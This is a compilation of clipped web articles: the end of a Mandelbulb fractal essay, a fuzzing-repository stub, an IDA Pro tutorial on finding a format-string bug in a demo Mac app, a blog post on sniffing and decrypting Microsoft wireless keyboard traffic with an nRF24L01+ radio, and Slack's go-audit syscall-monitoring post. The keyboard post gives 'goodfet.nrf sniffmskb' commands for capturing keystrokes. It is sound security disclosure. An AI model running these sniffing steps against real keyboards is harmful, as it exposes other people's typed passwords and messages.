November 2007 at the fractalforums.com web site. The basic idea is that
instead of rotating around a circle \(complex multiplication\), as in the
normal 2D Mandelbrot, we rotate around phi and theta in 3 dimensional
spherical coordinates \(see here for details\). In theory, this could
theoretically produce our amazing 3D Mandelbrot. But here's the somewhat
disappointing result of the formula \(click any of the pictures for a larger
view\):  
  
<img src='img/Temp2_5185.png' />  
The first thing I tried was multiplying phi and theta by two, resulting in the
shape you see above. It's nice, but not exactly what I'd call a 3D Mandelbrot
\(zooming in doesn't show true 3D fractal detail\).| <img
src='img/Temp2_5180.png' />  
This one is the same as to the left, except offsets have been added to the
multiplication bit \(0.5\*pi to theta and 1\*pi to phi\), to make it appear
almost 3D Mandelbrot-esque. Also see Thomas Ludwig's globally illuminated
render, and this one from Krzysztof Marczak.| <img src='img/Temp2_5193.png' />  
Same as the first, except this time we try only multiplying angle phi by two,
but not theta.  
---|---|---  
  
  
Although the second one looks somewhat impressive, and has the appearance of a
3D Mandelbulb very roughly, we would expect the real deal to have a level of
detail far exceeding it. Perhaps we should expect an 'apple core' shape with
spheres surrounding the perimeter, and further spheres surrounding those,
similar to the way that circles surround circles in the 2D Mandelbrot.  
  
Zooming in reveals some interesting detail, but nothing truly fantastic. The
best shot I could find was this view from the YZ plane \(found just before
this article was published actually\):  
  
<img src='img/Temp2_5182.png' />  
  
Full size shown here. For other 'hot spots', try here, and this one from the
inside.  
  
<img src='img/Temp2_5176.png' />  
Created by Dr. Kazushi Ahara and Dr. Yoshiaki. This looks great, but zooming
in will not reveal the variety of style that the Mandelbrot has.  
---  
I went to great lengths to explore the concept, including the utilization of
various spherical coordinate systems and adjusting the rotation of each
point's 'orbit' after every half-turn of phi or theta. But it didn't work.
Something was missing. I scoured everywhere to find signs of the 3D beast, but
nothing turned up. <img src='img/Temp2_5195.png' />On October 13th, 2006,
Marco Vernaglione put out the question and challenge to the world with this
memorable document.  
---  
Pretty 3D fractals were everywhere, but nothing quite as organic and rich as
the original 2D Mandelbrot. The closest turned out to be Dr. Kazushi Ahara and
Dr. Yoshiaki's excellent Quasi-fuchsian fractal \(see right\), but it turned
out that even that doesn't have the variety of the Mandelbrot after zooming
in.  
  

## Is this merely a fool's quest?

Some said it couldn't be done - that there wasn't a true analogue to a complex
field in three dimensions \(which is true\), and so there could be no 3D
Mandelbulb. But does the essence of the 2D Mandelbrot purely rely on this
complex field, or is there something else more fundamental to its form?
Eventually, I also started to think that this was turning out to be a Loch
Ness hunt. But there was still something at the back of my mind saying if this
detail can be found by \(essentially\) going round and across a circle for the
standard 2D Mandelbrot, why can't the same thing be done for a sphere to make
a 3D version?  
  
Our story continues with mathematician - Paul Nylander. His idea was to adjust
the squaring part of the formula to a higher power, as is sometimes done with
the 2D Mandelbrot to produce snowflake type results. Surely this can't work?
After all, we'd expect to find sumptuous detail in the standard power 2
\(square or quadratic\) form, and if it's not really there, then why should
higher powers work?  
  
But maths can behave in odd ways, and intuition plays tricks on you sometimes.
This is what he found \(also see forum thread, and the full size pic at the
'Hypercomplex Fractals' page of his site\):  
  
  

### Mandelbulb \(order 8\)

<img src='img/Temp2_5177.png' />  
Okay... now this is starting to look interesting. We're already starting to
see buds growing on buds. Could.... this... object still hold any fractal
detail if we zoomed in far enough?\! More of Paul's work can be found here.  
  
Then something amazing happened.  
  
Another fractal explorer, computer programmer David Makin was the first to
render some sneak preview zooms of the above object, and this is what he
found:  
  
<img src='img/Temp2_5197.png' />WOW\! Okay, now we're talking. These are deep
zoom levels \(the first being over 1000x\), but fractal details remain
abundant in all three dimensions\! The buds are growing smaller buds, and at
least to the picture on right, there seems to be a great amount of variety
too. We're seeing 'branches' with large buds growing around the branch in at
least four directions. These in turn contain smaller buds, which themselves
contain yet further tiny buds.  
  
Remember, these pictures are not created from an iterated function system
\(IFS\), but from a purely simple Mandelbrot-esque function\!  
  
Even the picture on the left is interesting, and is reminiscent of the
Romanesco broccoli vegetable. But glance at the top right of the left picture
- there also seems to be a leaf section in the shape of a seven sided star.
Does this hint at a deeper variety in the object than we can possibly imagine?
What the heck have we stumbled upon here?  
  
Because of the lack of shadows, it's difficult for the renderings to give
justice to the detail, but what we have here is a first look into a great
unknown.  
  
Eager to get a better look at this thing, I set about trying to find software
to render it, preferably with full shadowing and even global illumination, and
at least something that was fairly nippy. But it turns out that there are
probably no 3D programs out there on the market that can render arbitrary
functions, at least not with while loops and local variables \(a prerequisite
for anything Mandelbrot-esque\!\). So I set out to create my own specialized
voxel-ish raytracer. Results could be slow \(perhaps a week for 4000x4000
pixel renders\!\), but it'll be worth it right?  
  
At first, I implemented 'fake' lighting based on the surface angle, and this
produced a further glimpse into this incredible world \(this one again from
the power 8 version of the Mandelbulb\):  
  
<img src='img/Temp2_5199.png' />  
  

## Resulting renders

But it wasn't until I incorporated proper shadowing that the subtleties of
this incredible object became apparent. For the renders below and exploration
afterwards, I'll be concentrating mostly on the 8th power, since that seems to
be around the 'sweet spot' for overall detail and beauty.  
<img src='img/Temp2_5192.png' />  
**_"Mandelbrot Crust"_** You don't have to zoom in far before you get to see this. | <img src='img/Temp2_5200.png' />  
**_"A Slice of Mandelbrot Gateau"_ This picture is a deeper zoom of the
previous picture \(see its far right, just below vertically center - this
one's near there.\)**  
---|---  
  
**_"Cave of Lost Secrets"_** This ancient half mile high cave still exists
\(now underwater\) from a planet several billions of light years away from
Earth. It was built by a \(now extinct\) intelligent race of beings who also
discovered the 3D Mandelbulb we are witnessing on this page. Inside the cave
however, lies - amongst other technological and mathematical secrets - the
last remaining scroll which contains the much deeper secret of the even more
incredible real 3D Mandelbrot formula \(giant structures of that were also
built at a later stage, but were apparently destroyed for reasons unknown\).
<img src='img/Temp2_5175.png' />  
  
**_"Magic Broccoli"_** Mini-Bulbs from the set don't just sprout uniform
smaller bulbs, but rather twist and shear to create surprisingly strange
patterns.  
<img src='img/Temp2_5190.png' /> |   
**_"Mandelbulb Garden"_** Zooming in yet further to the left, we visit the
Bulb's horticultural centre, and still, we see no sign of detail degradation.
<img src='img/Temp2_5167.png' />  
  
\[below\] Zooming out again, we see some of the main support structures
holding up the giant 40 mile wide Colosseum at the top right of the picture.
Seriously, this universe has got to be quite messed up to be harbouring math
secrets capable of this kind of Baroquian beauty. <img
src='img/Temp2_5171.png' />  
<img src='img/Temp2_5189.png' />  
**_"Christmas Coral Egg"_** Red, green and blue lighting combine to create all the other colours in this chrimbo themed fractal. | <img src='img/Temp2_5186.png' /> **_"Christmas Coral Reef"_**  
  
**_"Honeycomb Heaven"_** It's easy to think of a bee hive when seeing this. Little did I know at the time about the honeycomb pattern below the hive. <img src='img/Temp2_5166.png' /> |   
**_"Mandel NightShade"_** Rumour has it that one sniff of this plant and
you're turned to dust. A little more deadly than usual then. <img
src='img/Temp2_5183.png' />  
  
**_"The Mandelbulb"_** Here's the whole thing, with some perspective this time. It should be amazing to fly over and zoom into it. In the meantime, let's see what happens when if peek \*inside\* the Bulb..... <img src='img/Temp2_5196.png' /> |   
**_"Mandelbulb Spine"_** The inside is just as amazing as the out, as this
zoom shows. A high definition, high res poster is available here \(see this
preview showing the detail of the 7000x7000 render\).  
<img src='img/Temp2_5191.png' />  
<img src='img/Temp2_5187.png' />  
**_"Ice Cream From Neptune"_** What, Neptune\* from our solar system? Neah,
we're talking about a planet unique in all but the name, near the distant edge
of the universe. They have advanced food making equipment, and an eye for
detail, so they regularly consume attractive cornetto-esque dishes, sometimes
in the shape you see above.  
**\* Yes we renamed it. We mistakingly used the planet's old name that was in use until around 50,000 years ago. By another massive but convenient coincidence, they themselves renamed it for similar reasons to Professor Farnsworth's story from Futurama.** | <img src='img/Temp2_5194.png' />  
**_"Caramelized Hazelnut Swirl"_** Objects take on a completely different
character inside the 3D Mandelbulb, as these surrounding pictures testify.  
<img src='img/Temp2_5172.png' />  
**_"Shell Life"_** More chaotic scenes appear too. Whenever fractals are
involved though, it's never going to be completely random. \(...well unless
we're talking about Quaternion Julia fractals \[runs and ducks for cover\] ;\)
\)  
  
**_"Hell Just Froze Over"_** 5 minutes ago, possibly because someone found the
definitely-really-true-and-we-mean-it-this-time-3D .... Mandelbrot. <img
src='img/Temp2_5179.png' />  
  
  
And here is the beast itself \(power 8 version\). All of the above images come
from this object below \(giant 4500x4500 pixel version available here\).
**Added 13/11/2009 That version is low quality, but if you want the full size
\(7500x7500\), high definition, high resolution version, you can buy the
printfrom here.**  
<img src='img/Temp2_5168.png' />  
  
It's not just myself of course who's rendered stunning shots of the Bulb. The
guys have over at Fractal Forums have also rendered mouth watering pictures
and animations, some of which I'll show below. It's a real honour to present
them on this page - please visit their websites to view more of their
creations.  
  
<img src='img/Temp2_5173.png' />  
This jaw dropping image created by Krzysztof Marczak uses many iterations to achieve a more fragmented surface texture. View full size, and you'll notice countless 'satellites' around other bigger satellites. | <img src='img/Temp2_5181.png' />  
_**"The Honeycomb"**_ : The fantastic material combined with the different
colour ranges give a real sense of depth in this picture created by David
Makin.  
---|---  
<img src='img/Temp2_5174.png' />  
_**"Siebenfach"**_ : The unusual material and ornate rope-like detail evokes a more mysterious atmosphere in this stunning render from Thomas Ludwig. Full resolution available from here. | <img src='img/Temp2_5170.png' />  
Gotta love the luminous sorbet style texture of the quadratic version of the
Mandelbulb, created by Paul Nylander. See his Hypercomplex Fractals page for a
bigger view.  
---|---  
<img src='img/Temp2_5178.png' />  
_**"Asteroid National Park"**_ \- This degree 4 behemoth would have certainly made an interesting replacement for the asteroids used in _"Armageddon"_ and _"Deep Impact"_. Excellent render by David Makin; view full res to see it in all its glory. | <img src='img/Temp2_5198.png' />  
Created by Garth Thornton, a special variant of the Julia formula is used in
combination here to create this amazing fossilized design. See the thread here
for further interesting variations.  
---|---  
---  
  
  

### Are gorgeous flyovers and parallax zooms now possible?

But of course. This one from Youtube to the right is a small glimpse, but bear
in mind it's only in orthographic mode, so there's no tasty perspective or
parallax as yet. In other words, it's like enlarging a giant photograph,
rather than flying through - plane-style. Watch this space for future
animations. Also, if you want to make any yourself, and would like them to
featured on this page, let me know, or even better, post to the thread at
FractalForums.com.  
  
Also check out bib993's video, David Makin's animations, such as the degree 4
version of the Mandelbulb, his Crater Lake Flyover, Krzysztof Marczak's
excellent rotational Mandelbulb variation, and this computer generated
romanesco broccoli created by Aleksandar Rodic \(which is an IFS type fractal
rather than the Mandelbulb we're exploring, but still really cool\).  
  
  
  
  
  
Keep an eye out for the latest news and renders on this page, and over in the
3D Mandelbrot thread over at Fractal Forums. As of 05/11/2009, the pictures
here in this article are only a preliminary look into the thing. The best
stuff is surely yet to come\!  
  
  
  

### Page 2 - Further exploration of the 3D Mandelbulb

  
  
  
  
<img src='img/Temp2_5169.png' />  
Most pictures on this page are copyright Daniel White 2009 onwards, apart from  
where attribution is made - where they are copyright of their respective
owners.  
  
  

# zer0mem/ShowMeYourGongFu

**Created:**| _11/8/2013 8:23:46 PM_  
---|---  
**Updated:**| _11/8/2013 8:23:46 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation fuzzing_  
  

# ShowMeYourGongFu****

more info about DBIFuzzFramework project at : http://www.zer0mem**.**
sk/?p=331  , or directly ping me at my email : zer0mem@yahoo.com  all
informations about mistakes in codes, improving code, new ideas, other
references, proposals are really appreciated

OpenSrc projects directory; common multiprojects headers store to **.**
/Common/_category_ /

****

# Hex-Rays : Interactive Disasembler Pro - Mac OS X Remote debugger and Mac OS
X format string vulnerability

**Created:**| _5/9/2009 12:43:46 PM_  
---|---  
**Updated:**| _5/9/2009 12:43:59 PM_  
**Author:**| __  
**Tags:**| _Debugging iDA_  
  

## Mac debugger primer

This primer shows how to use the Mac OS X debugger included in IDA Pro 5.1.
Before we start, please download this archive:

  * macvuln.tgz \- a sample vulnerable Mac OS X application which will be used in this primer

Unpack the debugger server files to any directory on Mac OS X. The debugger
server is stand-alone and it is not necessary to have installed the OS X
version of IDA Pro to use it. For this tutorial, we will use the Windows
version of IDA because it offers our most advanced user interface. But, if you
prefer, you may also use the Mac OS X version of IDA Pro, or even the Linux
version, in console mode.

In order to connect to other applications and debug them, we first have to set
the appropriate permissions for the debugger server: we need to make it setgid
"procmod". Here is how to do it:

<img src='img/Temp2_3828.gif' />

Please note the 's' bit in the file permissions. The file group should be
"procmod". We are now ready to launch the the debugger server:

<img src='img/Temp2_3827.gif' />

We're all set\! We can either create new processes or attach to existing ones.
Do not forget to protect your debugger server from the outside world. If you
forget to password-protect it, anyone can connect to the debugger server and
launch any program on the machine. If your debugger server is directly
accessible from the Internet \(a strategy we do not recommend\!\), or if you
are working in a sniffable local environment, consider adding encryption such
as a SSH tunnel to prevent password sniffing.

Lets now take a look at our somewhat artificial **macvuln** demo application.
We modified the tool we use to generate IDA message files to make it
vulnerable. If you run it with a malformed output file name, it crashes:

<img src='img/Temp2_3829.gif' />

Let's start IDA Pro on our Windows machine and see if we can figure out what
causes the crash. We begin our session by loading the **macvuln** file into
the database:

<img src='img/Temp2_3825.gif' />

and set the process options in the Debugger, Process options dialog box:

<img src='img/Temp2_3833.gif' />

In this dialog we explicitly specify all fields because, unfortunately, IDA
Pro can't read minds yet\! Well, except for the port number when it happens to
use the default value...

Let's go for a first quick run: we will just launch the application and let it
crash. This is the easiest way to locate the crash address. Pressing F9 will
start the application and the immediate result will be a message box about a
SIGBUS signal. The message window will contain this:

<img src='img/Temp2_3824.gif' />

To find out where the **sprintf** function was called from, we open the
**stack trace** window \(Debugger, Tracing, Stack trace\):

<img src='img/Temp2_3830.gif' />

Obviously, the supplied command line argument has been used as a format string
to the **sprintf** function. Double clicking on the next line \(with the
address 757B on it\) will display the offending code:

<img src='img/Temp2_3832.gif' />

Let's rerun the application and suspend it just before the sprintf call. This
will allow us to verify our guess about the format string. Terminate the
current debugger session with Ctrl-F2 \(Terminate process\), create a
breakpoint with F2 \(Toggle breakpoint\) and restart the debugger with F9:

<img src='img/Temp2_3826.gif' />

When the execution reaches our breakpoint, we double click on the **eax**
register to inspect the memory it points to:

<img src='img/Temp2_3823.gif' />

This confirms our guess - yes, the output file name is used as a format
string. Congratulations, you have just discovered your first, somewhat
artificial, vunerability in a Mac OS X application\! Just out of curiosity, we
could single step until the call instruction by pressing F7:

<img src='img/Temp2_3831.gif' />

If we press F8 to step over, the application will crash. Now that we know what
will happen, we better stop the debugger and fix the application \(or analyze
other applications to find more bugs ;\)

# Travis Goodspeed's Blog: Promiscuity is the nRF24L01+'s Duty

**Created:**| _7/19/2011 7:11:37 PM_  
---|---  
**Updated:**| _7/19/2011 7:11:37 PM_  
**Author:**| __  
**Tags:**| _hardware signal wireless_  
  

## Monday, February 7, 2011

###  Promiscuity is the nRF24L01+'s Duty

by Travis Goodspeed <travis at radiantmachines.com>  
extending the work of Thorsten Schröder and Max Moser  
of the KeyKeriki v2.0 project.  
  
<img src='img/Temp2_8452.jpg' width='500' height='375' alt='NHBadge and a
Keyboard' />  
  
Similar to Bluetooth, the protocols of the Nordic VLSI nRF24L01+ chip are
designed such that the MAC address of a network participant doubles as a SYNC
field, making promiscuous sniffing difficult both by configuration and by
hardware. In this short article, I present a nifty technique for promiscuously
sniffing such radios by \(1\) limiting the MAC address to 2 bytes, \(2\)
disabling checksums, \(3\) setting the MAC to be the same as the preamble, and
\(4\) sorting received noise for valid MAC addresses which may later be
sniffed explicitly. This method results in a rather high false-positive rate
for packet reception as well as a terribly high drop rate, but once a few
packets of the same address have been captured, that address can be sniffed
directly with normal error rates.  
  
As proof of concept, I present a promiscuous sniffer for the Microsoft Comfort
Desktop 5000 and similar 2.4GHz wireless keyboards. This vulnerability was
previously documented at CanSecWest by Thorsten Schröder and Max Moser, and an
exploit has been available since then as part of the KeyKeriki v2.0 project.
My implementation differs in that it runs with a single radio and a low-end
microcontroller, rather than requiring two radios and a high-end
microcontroller. My target hardware is the conference badge that I designed
for the Next Hope, running the GoodFET Firmware.  
  
**Part 1: or, Why sniffing is hard.**  
  
<img src='img/Temp2_8449.jpg' width='488' height='500' alt='nRF24L01 Die' />  
  
Radio packets usually begin with a preamble, followed by a SYNC field. In the
SimpliciTI protocol, the SYNC is 0xD391, so the radio packets will begin with
\{0xAA,0xD3,0xD91\} or \{0x55,0xD3,0x91\}. The AA or 55 in the beginning is a
preamble, which is almost universally a byte of alternating 1's and 0's to
note that a packet is beginning, followed by the SYNC field which makes sure
that the remainder of the packet is byte-aligned.  
  
In the case of the Nordic radios, there is no SYNC pattern unique to the
radio. Instead, the MAC address itself serves this purpose. So an OpenBeacon
packet will begin with \{0x55, 0x01, 0x02, 0x03, 0x02, 0x01\} while a Turning
Point Clicker's packets will begin with \{0x55, 0x12, 0x34, 0x56\}. The
preamble in this case will be 0x55 if the first bit of the SYNC/MAC is a 0 and
0xAA if the first bit is a 1. To make matters worse, the chip does not allow a
MAC shorter than three bytes, so previously it was believed that at least so
many bytes of the destination address must be known in order to receive a
packet with this chip.  
  
Moser and Schröder solved this problem by using an AMICCOM A7125 chip, which
is a low-level 2FSK transceiver, to dump raw bits out to an ARM
microcontroller. The ARM has just enough time to sample the radio at 2Mbps,
looking for a preamble pattern. If it finds the pattern, it fills the rest of
register memory with the remaining bits and then dumps them to the host by
USB. In this manner, every prospective MAC address can be found. Once the
address is known, KeyKeriki places that address in its second radio, an
nRF24L01+, which is used to sniff and inject packets.  
  
A similar solution is used in Michael Ossmann's Project Ubertooth sniffer for
Bluetooth. See that project's documentation and Ossmann's Shmoocon 2011 video
for a more eloquent explanation of why sniffing without a known SYNC is so
hard.  
  
**Part 2: or, Sniffing on the cheap.**  
My trick for sniffing promiscuously involves a few illegal register settings
and the expectations of background noise. You can find code for this in the
AutoTuner\(\) class of the goodfet.nrf client.  
  
First, the length of the address to sniff must be reduced to its absolute
minimum. The datasheet claims that the lowest two bits of register 0x03 are
responsible for address width, and that the only valid lengths at 3 bytes
\(01b\), 4 bytes \(10b\), or 5 bytes \(11b\). Setting this value to 00b gives
a 2 byte match, but when checksums are disabled, this results in a deluge of
false-positive packets that appear out of background noise.  
<img src='img/Temp2_8455.jpg' width='345' height='72' alt='nRF Address Width'
/>  
  
Second, it is necessary to begin receiving before the SYNC field appears, as
the Nordic chips drop the address of incoming packets, leaving only the
payload. By looking at the noise returned when the address is at its shortest
length, it is clear that background noise includes a lot of 0x00 and 0xFF
packets as well as 0xAA and 0x55 packets, which are likely feedback from an
internal clock. What then would happen if the address were to be 0x00AA or
0x0055?  
  
What happens is that noise activates the radio a bit early, which then syncs
to the real preamble, leaving the SYNC field as the beginning of the packet
payload\! This is because the preamble and SYNC do not need to be immediately
adjacent; rather, the SYNC can be delayed for a few bytes from the preamble in
order to allow for longer preambles in noisy environments.  
  
As a concrete example, an OpenBeacon packet looks something like the
following. The SYNC field is 0x0102030201, so the packet will be cropped from
that point backward. 0xBEEF is all that will be returned to the application,
with everything prior to that cropped.  
<img src='img/Temp2_8453.jpg' width='500' height='263' alt='nRF24L01+
Promiscuous Mode' />  
  
By making the address be 0x0055 and disabling checksums, that same packet will
sometimes be interpreted as shown on the bottom. The preamble will be mistaken
for a SYNC, causing the real SYNC value to be returned as the beginning of the
payload. In that way, I am able to determine the SYNC/MAC field without any
prior knowledge or brute force exploration.  
  
This does depend upon the preamble being preceded by 0x00, which occurs often
in background noise but is not broadcast by the attacker. So the odds of
receiving a packet, while significantly worse than we'd like, are much better
than the 1/2^16 you might assume. In experiments, one in twenty or so real
packets arrive while a significant number of false positives also sneak in.  
  
Recalling that the MAC addresses are three to five bytes long, and that radio
noise is rather distinct, it stands to reason that noise can easily by
separated from real packets by either manually checksumming to determine
packet correctness or simply counting the occurrences of each address and
taking the most popular. You will find an example log of OpenBeacon packets
and false positives at http://pastebin.com/8CbxHzJ9. Sorting the list reveals
that the MAC address 0x0102030201 is the most popular, which is in fact the
address used by OpenBeacon tags.  
  
Rather than rely on packet dumps and sorts, there is an autotune script that identifies network participants and prints their MAC addresses. Simply run 'goodfet.nrf autotune | tee autotune.txt' and go out for a coffee break while your device is transmitting. When you come back, you'll find logs like the following, which has identified a nearby OpenBeacon transmitter.  
  
<img src='img/Temp2_8454.jpg' width='393' height='157' alt='goodfet.nrf
autotune' />  
  
As low data-rate devices require significantly more time than high-rate
devices to identify, such devices will either require undue amounts of
patience or a real KeyKeriki. In the case of a Nike+ foot pod, I'm resorting
to using loud hip hop music to trigger the sensor, which is left inside a pair
of headphones. My labmates are not amused, but it is a great way to reveal the
radio settings when syringe probes aren't convenient.  
  
**Part 3: or, Sniffing a keyboard effectively.**  
  
Having a class to identify channels and MAC addresses is most of the problem,
but there are remaining issues. First, the packets themselves are encrypted,
and that cryptography must be broken.  
  
Fear not\! We won't need to do any fancy math to break this cryptography, as
the key is included at least once in every packet. Moser and Schröder's slides
explain that the packet's header is cleartext, while the payload is XOR
encrypted with the MAC address.  
<img src='img/Temp2_8451.jpg' width='500' height='354' alt='XOR Crypto!' />  
  
Applying an XOR to the proper region yields decrypted packets such as the
following. Because these contain USB HID events, key-up HID events quite often
include long strings of 0x00 bytes. When XOR'ed with the key, those zeroes
produce the key, so some packets contain the XOR key not just once, but
twice\!  
<img src='img/Temp2_8448.jpg' width='500' height='199' alt='MSKB5k Traffic' />  
  
Finally, the USB HID events need to be deciphered to get key positions.
Mapping a few of these yields meaningful text, with bytes duplicated in the
case of retransmissions and omitted in the case of lost packets. Disabling
checksums will allow the dropped packets to be converted to a smaller number
of byte errors, while tracking sequence numbers will prevent retransmitted
keys from being displayed twice. Regardless, the results are quite neighborly,
as you can make out the sentence typed below in its packet capture.  
<img src='img/Temp2_8450.jpg' width='289' height='500' alt='NHBadge Key
Sniffer' />  
  
**Part 4; or, Reproducing these results.**  
  
All of the code for this article is available in the GoodFET Project's
repository, as part of GoodFETNRF.py and its goodfet.nrf client script. The
hardware used was an NHBadge12, although an NHBadge12B or a GoodFET with the
SparkFun nRF24L01+ Transceiver Module will work just as well.  
  
To identify a nearby Nordic transmitter, run 'goodfet.nrf autotune'. Keyboards
can be identified and sniffed with 'goodfet.nrf sniffmskb', while a known
keyboard can be sniffed and decoded by providing its address as an argument,
'goodfet.nrf sniffmskb aa,c10ac074cd,17,09'. The channel--0x17 in this case--
will change for collision avoidance, but channel hopping is slow and resets to
the same starting channel. Identification of the broadcast channel is faster
when the receiver is not plugged in, as that causes the keyboard to
continuously rebroadcast a keypress for a few seconds.  
  
All code presently in the repository will be refactored and rewritten, so
revert to revision 885 or check the documentation for any changes.  
  
**Conclusions**  
  
Contrary to prior belief, the nRF24L01+ _can_ be used to promiscuously sniff
compatible radios, allowing for keyboard sniffing without special hardware.
It's also handy for figuring out the lower levels of the otherwise-documented
ANT+ protocol, and for reverse engineering vendor-proprietary protocols such
as Nike+.  
  
Additionally, it should be emphasized that the security of the Microsoft
keyboards in this family is irreparably broken, and has been since Moser and
Schröder published the vulnerability at CanSecWest. \(It's a shame, because
the keyboards are quite nicer than most Bluetooth ones, both in pairing delay
and in battery life.\) Do not purchase these things unless you want to
broadcast every keystroke.  
  
While I have not yet written code for injecting new keystrokes, such code does
exist in the KeyKeriki repository and would not be difficult to port. Perhaps
it would be fun to build stand-alone firmware for the Next Hope badge that
sniffs for keyboards, broadcasting Rick Astley lyrics into any that it finds?  
  
Please, for the love of the gods, use proper cryptography and double-check the
security your designs. Then triple-check them. There is no excuse for such
vulnerable garbage as these keyboards to be sold with neither decent security
nor a word of warning.

# Syscall Auditing at Scale – Several People Are Coding

**Created:**| _12/21/2016 9:21:41 AM_  
---|---  
**Updated:**| _12/21/2016 9:21:41 AM_  
**Author:**| __  
**Tags:**| _Linux kernel_  
  

  

# Syscall Auditing at Scale

 _By_ _Ryan Huber_

If you are are an engineer whose organization uses Linux in production, I have
two quick questions for you:

1\) How many unique outbound TCP connections have your servers made in the
past hour?

2\) Which processes and users initiated each of those connections?

If you can answer both of these questions, fantastic\! You can skip the rest
of this blog post. If you can’t, boy-oh-boy do we have a treat for you\! We
call it go-audit.

Syscalls are how all software communicates with the Linux kernel. Syscalls are
used for things like connecting network sockets, reading files, loading kernel
modules, and spawning new processes \(and much much much more\). If you have
ever used strace, dtrace, ptrace, or anything with trace in the name, you’ve
seen syscalls.

Most folks who use these \*trace tools are familiar with syscall monitoring
for one-off debugging, but at Slack we collect syscalls as a source of data
for continuous monitoring, and so can you.

Linux Audit has been part of the kernel since 2.6.\(14?\). The audit system
consists of two major components. The first component is some kernel code to
hook and monitor syscalls. The second bit is a userspace daemon to log these
syscall events.

<img src='img/10124_1*UA09f_6GXUFMGPTARrIoOw.png' width='30' height='27' />

<img src='img/1*UA09f_6GXUFMGPTARrIoOw.png' width='576' height='523' />

The Architecture of kauditd and go-audit

To demonstrate what we can do with auditd, let’s use an example. Say we want
to log an event every time someone reads the file /data/topsecret.data.
\(_Note: Please don’t store actual top secret data in a file called
topsecret.data_\). With auditd, we must first tell the kernel that we want to
know about these events. We accomplish this by running the userspace
`auditctl` command as root with the following syntax:

[code]

    auditctl -w /data/topsecret.data -p rwxa
[/code]

Now, _every_ time `/data/topsecret.data `is accessed \(regardless of whether
it was via symlink\), the kernel will generate an event. The event is sent to
a userspace process \(usually auditd\) via something called a “netlink”
socket. _\(The tl;dr on netlink is that you tell the kernel to send messages
to a process via its PID, and the events appear on this socket.\)_

In most Linux distributions, the userspace auditd process then writes the data
to `/var/log/audit/audit.log`. If there is no userspace process connected to
the netlink socket, these messages generally appear on the console and can be
seen in the output of `dmesg`.

This is pretty cool, but watching a single file is also a very simple case.
Let’s do something a bit more fun, something network related.

Daemon processes \(_or rogue netcats, ahem_\) usually use the `listen` syscall
to listen for incoming connections. For example, if Apache wants to listen for
incoming connections on port 80, it requests this from the kernel. To log
these events, we again notify the kernel of our interest by running
`auditctl`:

[code]

    auditctl -a exit,always -S listen
[/code]

Now, _every_ time a process starts listening on a socket, we receive a log
event. Neat\! This logging can be applied to any syscall you like. If you want
to handle the questions I mentioned at the top of this post, you’ll want to
look at the `connect` syscall. If you want to watch every new process or
command on a host, check out `execve`.

_Supernote: We are not limited to the actions of users. Think about advanced
cases like apache spawning \`bash\` or making an outbound connection to some
sketchy IP and what that can tell you._

So now we have a bunch of events in `/var/log/audit/audit.log`, but logfiles
do not a monitoring system make. What should we do with this data?
Unfortunately, there are some properties of the auditd log format that make it
challenging to work with:

  1. The data format is \(mostly\) key=value
  2. Events can be one or multiple lines
  3. Events can be interleaved and arrive out of order

<img src='img/0*4jLb1g0hKgIAShNv..png' width='30' height='15' />

Sample auditd output

There are a few existing tools to parse these log events, such as `aureport`
or `ausearch`, but they seem to be focused on investigations that happen after
the fact, as opposed to being used continuously.

We saw a lot of potential uses for the data we could get from auditd, but
needed a way to run this at scale. We developed the project **go-audit** as a
replacement for the userspace part of auditd, with the following goals in
mind:

  1. Convert auditd’s multiline events into a single JSON blob
  2. Speak directly to the kernel via netlink
  3. Be \(very\) performant
  4. Do minimal \(or zero\) filtering of events on the hosts themselves

The first three items on that list probably won’t raise many an eyebrow, but
the last one should, so it feels worth explaining.

Some obvious questions we need to address with relation to \#4 are, “ _Why
don’t we want to filter these events on each server and just target the
interesting ones?_ ” and “ _Won’t you send lots of useless information?_ ”

Imagine your servers have the `curl` command installed \(_no need to imagine,
yours probably do_\). During a red team exercise, the attackers use `curl` to
download a rootkit and then to exfiltrate data. Having learned from this, you
start logging every command and filtering everything that isn’t `curl`. Every
time someone runs `curl`, you generate an alert.

There are some serious problems with doing things this way:

  1. There are approximately 92,481,124 ways to accomplish “download rootkit” and “exfiltrate data” that don’t involve `curl`. We can’t possibly enumerate all of them.
  2. The attacker can look at your auditd rules and see that you are watching `curl`.
  3. There are legitimate uses of the `curl` command.

We need something better. What if instead of looking for specific commands, we
send everything to a centralized logging and alerting infrastructure? This has
some amazingly useful properties:

  1. The attacker has no idea which commands or network calls you have flagged as interesting. \(_As mentioned in a recent talk from_ _Rob Fuller_ _, unknowable tripwires give attackers nightmares._\)
  2. We can correlate events and decide that `curl` is okay sometimes and bad other times.
  3. New rules can be evaluated and tested against existing data.
  4. We now have a repository of forensic data that lives off-host.

So here it is friends, **go-audit**. We are releasing this tool as open
source, for free \(as in love\). The Secops team at Slack created the first
version of go-audit over a year ago, and we have been using it in production
for nearly that long. It’s a small, but important, piece of our monitoring
infrastructure. \[I recommend you check out my previous post for more context
on how we handle alerting.\]

In the go-audit repository, we have provided extensive examples for
configuration and collection of this data. Here at Slack, we like rsyslog +
relp, because we want to send everything off host immediately, but also spool
events to disk if syslog is temporarily undeliverable. You can pretty freely
use a different mechanism to deliver these logs, and we look forward to seeing
your ideas.

We welcome contributions to this project and hope others will find it useful.
This repository was privately shared with a number of external folks over the
past year, and some friends of ours are already using it in production.

You may have noticed that I haven’t used the word “security” yet in this post.
I’m of the opinion that good general purpose tools can often be used as
security tools, but the reverse is not usually the case. Auditd facilitates
security monitoring that you’d be hard pressed to replicate in any other way,
but go-audit was developed as a general purpose tool. The utility of something
like go-audit is immediately apparent to an operations or development person,
who can use it to debug problems across a massive, modern fleet.

Let’s revisit the questions at the top of this post. Any company with
IDS/IPS/Netflow/PCAP/etc on a network tap can tell you a lot about their
network connections and probably answer the first question, but none of those
solutions can give you the context about a user/pid/command needed to answer
the second. This context is the difference between “someone ran something
somewhere on our network and it connected to an IP” vs “Mallory ran curl as
root on bigserver01 and connected to the IP 1.2.3.4 on port 1337”.

At Slack, we often say “Don’t let perfection be the enemy of good”. This tool
isn’t perfect, but we think it is really, really good, and we’re happy to
share it with you today.

**FAQ:**

**_Why auditd not sysdig or osquery?_**

Osquery is great. In fact, we use it at Slack. For our production servers, we
prefer go-audit because these systems are connected 24/7, which allows us to
stream data constantly. With osquery, you are generally receiving a snapshot
of the current machine state. If something runs to completion between polling
intervals, you might miss it. I think this model works well for laptops and
other employee endpoints, but I prefer a stream of data for highly-available
machines.

